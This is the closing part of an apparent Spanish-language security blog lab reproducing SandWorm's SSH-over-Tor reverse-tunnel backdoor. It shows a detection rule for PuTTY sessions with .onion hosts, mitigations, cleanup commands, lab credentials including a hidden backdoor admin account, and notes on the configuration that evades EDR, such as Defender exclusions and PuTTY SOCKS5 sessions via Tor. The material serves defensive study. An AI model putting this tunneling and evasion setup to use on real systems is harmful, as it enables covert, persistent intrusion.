<id>T1090.003</id>
</mitre>
</rule>
<rule id="100201" level="10">
<if_sid>592</if_sid>
<match>SimonTatham.*PuTTY.*Sessions.*onion</match>
<description>PuTTY session with .onion address created (possible Tor tunnel)</description>
<mitre>
<id>T1112</id>
<id>T1572</id>
</mitre>
</rule>Mitigaciones
| # | Mitigacion | Descripcion |
|---|---|---|
| 1 | Bloquear Tor | Filtrar conexiones a nodos Tor conocidos (listas publicas actualizadas diariamente) |
| 2 | Monitorizar plink/ssh | Alertar en plink.exe o ssh.exe con -R (reverse tunnel) no autorizado |
| 3 | EDR/Sysmon | Detectar creacion de PuTTY sessions con hosts .onion en registro |
| 4 | Hardening SSH | AllowTcpForwarding no en servidores que no necesitan tunneling |
| 5 | Segmentacion | Servidores criticos no deberian poder salir a Internet directamente |
| 6 | AppLocker | Bloquear tor.exe, plink.exe en endpoints que no los necesitan |
| 7 | Defender exclusions | Alertar si se anaden exclusiones masivas (C:\) via Add-MpPreference |
Limpieza del lab
Manual (Windows victim)
# Matar tunnel y Tor
Stop-Process -Name plink,tor -Force -ErrorAction SilentlyContinue
# Eliminar tareas programadas
schtasks /Delete /TN "\Microsoft\Windows\WDI\Tambur" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\TamburWatch" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" /F
# Eliminar usuario backdoor
net user Admin /delete
# Limpiar registro PuTTY
Remove-Item "HKCU:\SOFTWARE\SimonTatham" -Recurse -Force -ErrorAction SilentlyContinue
# Eliminar ficheros
Remove-Item "$env:PUBLIC\Edge Update Manager" -Recurse -Force -ErrorAction SilentlyContinue
# Restaurar exclusiones de Defender
Remove-MpPreference -ExclusionPath "C:\"
Remove-MpPreference -ExclusionPath "$env:TEMP"
Remove-MpPreference -ExclusionPath "$env:PUBLIC"Manual (C2 server)
sudo userdel -r tambur
sudo rm -rf /var/lib/tor/ssh_hidden_service
sudo systemctl restart torVagrant
cd /ruta/a/vagrant/sandworm_ssh_tor_lab
vagrant destroy -fCredenciales del lab
| Maquina | Usuario | Password | Servicio |
|---|---|---|---|
| c2-server | tambur | Tunnel2026 | SSH (tunnel endpoint) |
| victim-win | vagrant | vagrant | WinRM/RDP (admin) |
| victim-win | Admin | 1qaz@WSX | RDP (backdoor oculto) |
Conclusiones
Esta PoC demuestra por que la combinacion SSH + Tor es tan efectiva para los atacantes:
- Sin conexion IP directa: Imposible vincular victima y atacante por trafico de red
- Trafico legitimo: SSH y Tor son protocolos legales, dificiles de bloquear sin impacto
- Persistencia trivial: Una tarea programada y el tunnel se re-establece automaticamente
- Living off the Land:
plink.exees software legitimo firmado;ssh.exees nativo de Windows - Bajo coste operativo: No requiere infraestructura propia visible, solo un
.onion - Evasion completa: Exclusiones en Defender + PuTTY sessions en registro = invisible para la mayoria de EDRs
Hallazgos tecnicos del lab
Durante la implementacion descubrimos limitaciones reales que SandWorm probablemente tambien encontro:
- ssh.exe nativo de Windows NO funciona sin TTY: La version 8.1 de OpenSSH for Windows no puede firmar claves SSH cuando se ejecuta desde servicios (sin terminal). Error:
read_passphrase: can't open /dev/tty - plink.exe -proxycmd con binarios externos NO funciona: El pipe handling de Windows rompe la comunicacion stdin/stdout entre plink y el binario proxy
- Solucion real: PuTTY saved sessions con
ProxyMethod=2(SOCKS5) +ProxyDNS=1+ProxyUsername/Password(necesario para-batch, Tor acepta cualquier valor)
Esto explica por que SandWorm usa plink.exe con configuracion via registro en vez de ssh.exe nativo — no es una eleccion arbitraria, es la unica forma que funciona en Windows para tunneling automatizado sin interaccion del usuario.
La mejor defensa es la deteccion comportamental: monitorizar procesos que hacen SSH reverse tunnels via proxies SOCKS, inspeccionar el registro de PuTTY para sessions con hosts .onion, y bloquear conexiones a la red Tor desde maquinas que no lo necesitan.
Referencias
- APT-C-13 (SandWorm) RDP Backdoor - 360 Threat Intelligence
- MITRE ATT&CK - Sandworm Team (G0034)
- Tor Hidden Services Documentation
- SSH Port Forwarding Explained
:wq!
Comentarios